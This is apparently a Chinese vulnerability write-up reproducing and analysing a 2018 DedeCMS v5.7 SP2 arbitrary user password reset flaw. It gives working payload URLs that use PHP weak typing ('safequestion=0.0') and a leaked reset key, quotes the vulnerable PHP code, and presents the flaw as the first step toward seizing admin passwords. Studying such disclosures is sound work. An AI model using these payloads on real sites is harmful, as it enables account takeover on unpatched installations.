0x00 概述
2018年1月,网上爆出dedecms v5.7 sp2(最新版)前台任意用户密码重置漏洞,下文将对此进行重现及分析。
0x01 影响范围
20180109及其之前的版本
0x02 漏洞重现
//经测试无法修改admin用户的后台密码,只能修改到admin前台密码,所以这里测试修改id=2的lsa用户。
访问payload
192.168.43.173:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=2
看看数据库
再访问
http://127.0.0.1:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=2&key=Gv9AqDyf
即可到达重置密码页面
可以成功重置lsa的密码。
0x03 修复方案
- 关闭会员功能。
- 关注官方更新。
0x04 漏洞分析
漏洞文件:member\resetpassword.php:75
else if($dopost == "safequestion") { $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); } }
可以看到要进入sn函数,必须满足
($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] == $safeanswer)
通过查询数据库可知
row[‘safeanswer’]=空,$row[‘safequestion’]=0
所以传入的payload中$safeanswer为空符合条件,而如果$safequestion传入0,则遇到
if(empty($safequestion)) $safequestion = ”;
就置空了,继而空和0不等无法进入sn函数。
所以这里可以运用php的弱类型,参考http://www.lsablog.com/network_security/ctf/hackinglab-cn-series-decryption-can-md5-be-bumped/
将$safequestion传入0.0即可绕过判断
继续跟进sn函数
\member\inc\inc_pwd_functions.php:150
function sn($mid,$userid,$mailto, $send = 'Y') { global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件; else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); } }
newmail($mid,$userid,$mailto,'INSERT',$send);
继续跟进newmail函数,在73行
关键代码:
function newmail($mid, $userid, $mailto, $type, $send) { global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } }
可以看出生成了8位随机码以md5加密放入dede_pwd_tmp表中,再跳转到url
$cfg_basehost.$cfg_memberurl.”/resetpassword.php?dopost=getpasswd&id=”.$mid.”&key=”.$randval
即
http://127.0.0.1:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=2&key=Gv9AqDyf
mid可控,key也知道了,就可以重置任意mid用户密码了,继续跟进dopost=getpasswd这段代码,在
member\resetpassword.php:96
关键代码:
elseif($setp == 2) { if(isset($key)) $pwdtmp = $key; $sn = md5(trim($pwdtmp)); if($row['pwd'] == $sn) { if($pwd != "") { if($pwd == $pwdok) { $pwdok = md5($pwdok); $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';"; $db->executenonequery($sql); $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; if($db->executenonequery($sql)) { showmsg('更改密码成功,请牢记新密码', 'login.php'); exit; } } }
判断key的md5是否和dede_pwd_tmp的pwd相同,是则更新用户密码,完成任意用户密码重置。
0x05结语
这是修改管理员后台密码的组合拳的第一式,可以先修改管理员前台密码。
0x06参考资料
https://blog.formsec.cn/2018/01/11/DedeCMS-password-reset/
https://lorexxar.cn/2018/01/19/dedecms-vul1/